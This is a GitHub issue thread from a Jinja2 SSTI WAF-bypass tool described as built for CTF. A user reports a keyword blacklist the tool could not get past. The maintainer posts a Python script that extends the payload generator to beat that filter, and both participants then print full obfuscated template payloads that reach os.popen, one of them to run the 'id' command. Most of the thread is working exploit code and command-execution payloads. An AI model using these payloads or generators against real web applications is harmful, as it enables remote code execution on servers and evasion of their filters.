Marven11 / Fenjing

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Mozilla Public License 2.0
734 stars 46 forks source link

这个waf在本地搭建后用fenjing测试没绕成功 #4

Closed Lazzzaro closed 1 year ago

Lazzzaro commented 1 year ago

blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess', 'posix', 'builtins', 'namespace','open', 'read', '\', 'self', 'mro', 'base', 'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import', 'include','request', '{{', '}}', '"', 'config','=']

Marven11 commented 1 year ago

这个主要是百分号字符和数字100没法绕过,手动将规则加入生成器后就可以了,代码如下:

from fenjing import const
from fenjing.full_payload_gen import FullPayloadGen
import logging

logging.basicConfig(level=logging.INFO)

blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
             'posix', 'builtins', 'namespace', 'open', 'read', '\\', 'self', 'mro', 'base',
             'global', 'init', '/', '00', 'chr', 'value', 'get', "url", 'pop', 'import',
             'include', 'request', '{{', '}}', '"', 'config', '=']

def waf(s: str):
    return all(word not in s for word in blacklist)

def get_char(target):
    """
    根据给定的字符生成对应的payload
    """
    d = {
        "(x|pprint|list|batch(X)|first|last)": {
            0:'!', 1:'U', 2:'n', 3:'d', 4:'e', 5:'f', 6:'i', 7:'n', 8:'e',
        },
        "(lipsum|string|list|batch(X)|first|last)": {
            0: '!', 1: '&', 2: 'f', 3: 'u', 4: 'n', 5: 'c', 6: 't', 7: 'i', 8: 'o', 9: 'n', 10: ' ', 11: 'g', 12: 'e', 13: 'n', 14: 'e', 15: 'r', 16: 'a', 17: 't', 18: 'e', 19: '_', 20: 'l', 21: 'o', 22: 'r', 23: 'e', 24: 'm', 25: '_', 26: 'i', 27: 'p', 28: 's', 29: 'u', 30: 'm', 31: ' ', 32: 'a', 33: 't', 34: ' ',
        },
        "(()|batch(1)|string|list|batch(X)|first|last)": {
            0: '!', 1: '&', 2: 'g', 3: 'e', 4: 'n', 5: 'e', 6: 'r', 7: 'a', 8: 't', 9: 'o', 10: 'r', 11: ' ', 12: 'o', 13: 'b', 14: 'j', 15: 'e', 16: 'c', 17: 't', 18: ' ', 19: 'd', 20: 'o', 21: '_', 22: 'b', 23: 'a', 24: 't', 25: 'c', 26: 'h', 27: ' ', 28: 'a', 29: 't', 30: ' ',
        }
    }
    for outer, inner in d.items():
        for i, c in inner.items():
            if c == target:
                return outer.replace("X", str(i))
    raise Exception()

def main():
    """
    FullPayloadGen生成的payload由两部分组成
    后面的部分是用户实际要求的payload,一般由{{}}包裹
    前面的部分,即下方的context_payload, 仅为后面的部分准备上下文,一般为{%set xxx=yyy}
    前面为后面准备的变量存储在context字典中,键是生成payload时需要用到的表达式,值是此表达式对应的值
    """
    full_payload_gen = FullPayloadGen(waf)
    # 让FullPayloadGen先分析waf函数
    full_payload_gen.do_prepare() 

    print(f"{full_payload_gen.context=}", )
    print(f"{full_payload_gen.context_payload=}", )

    chr_payload = (
        "lipsum|attr(GLOBAL)|attr(GETITEM)(BUILTINS)|attr(GETITEM)(CHR)"
            .replace("GLOBAL", "+".join(get_char(c) for c in "__globals__"))
            .replace("GETITEM", "+".join(get_char(c) for c in "__getitem__"))
            .replace("BUILTINS", "+".join(get_char(c) for c in "__builtins__"))
            .replace("CHR", "+".join(get_char(c) for c in "chr"))
        )
    chr_in_lipsum = (
        "{%if(lipsum|attr(SETATTR)(()|string, CHR_PAYLOAD))%}{%endif%}"
        .replace("SETATTR", "+".join(get_char(c) for c in "__setattr__"))
        .replace("CHR_PAYLOAD", chr_payload))
    # 再将对应的payload放进FullPayloadGen中
    # 生成payload时需要用到的表达式,表达式对应的值,使用这个表达式需要增加的payload
    for literal, value, payload in [
        ("(lipsum|attr(()|string))(37)", "%", chr_in_lipsum),
        (hex(100), 100, "")
    ]:
        full_payload_gen.context[literal] = value
        full_payload_gen.context_payload += payload

    payload, _ = full_payload_gen.generate(const.OS_POPEN_READ, "echo 11111111111")
    print(payload)

if __name__ == "__main__":
    main()

我还在将这个规则加入到生成器中,可以参考上方的脚本加入规则并生成payload

Marven11 commented 1 year ago

生成的payload非常长,如果有更好的payload也可以告诉我

Marven11 commented 1 year ago

找到一个更加简单的方法,已经加进去了,使用pip install -U fenjing更新即可

Lazzzaro commented 1 year ago

可以加一个手动设置cookie的参数吗,有一道题需要手动修改flask-session,即cookie值后,才能进入到SSTI入口。

Marven11 commented 1 year ago

可以考虑一下

Lazzzaro commented 1 year ago

而且大佬,因为是GET请求,尝试了一下命令执行id命令,payload有这么长:{%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2+(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*7)%(103,108,111,98,97,108,115))+(lipsum|escape|batch(22)|list|first|last)*2])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*12)%(95,95,98,117,105,108,116,105,110,115,95,95))])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(101,118,97,108))])((((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*28)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,105,0x64,39,41))))[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(114,101,97,0x64))])()))%}, 因为GET方式传值有长度限制,在浏览器传值貌似会报错500。

Marven11 commented 1 year ago

这个payload我用python和bp交都成功了,可能是浏览器解析的问题导致报错500 Screenshot_2023-05-20_22-25-06 脚本设计之初就没有考虑payload长短的问题,需要缩短payload的话现在还是只能手动分析。

Lazzzaro commented 1 year ago

测试成功了,原来是少了url编码,谢谢!

Lazzzaro commented 1 year ago

提供一个更短一些的官方payload:

{%print(lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~({}|select()|trim|list)[2]~(dict|trim|list)[11]~(dict|trim|list)[9]~(dict|trim|list)[11]~({}|select()|trim|list)[2]~(lipsum|trim|list)[23]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])(({}|select()|trim|list)[8]~(dict|trim|list)[4])|attr((lipsum|trim|list)[26]~({}|select()|trim|list)[8]~(lipsum|trim|list)[26]~({}|select()|trim|list)[2]~({}|select()|trim|list)[3])((lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|trim()|list())[288]~({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8]~({}|select()|trim|list)[41]~(dict|trim|list)[2]~(dict|trim|list)[3]~({}|select()|trim|list)[1])|attr(({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8])())%}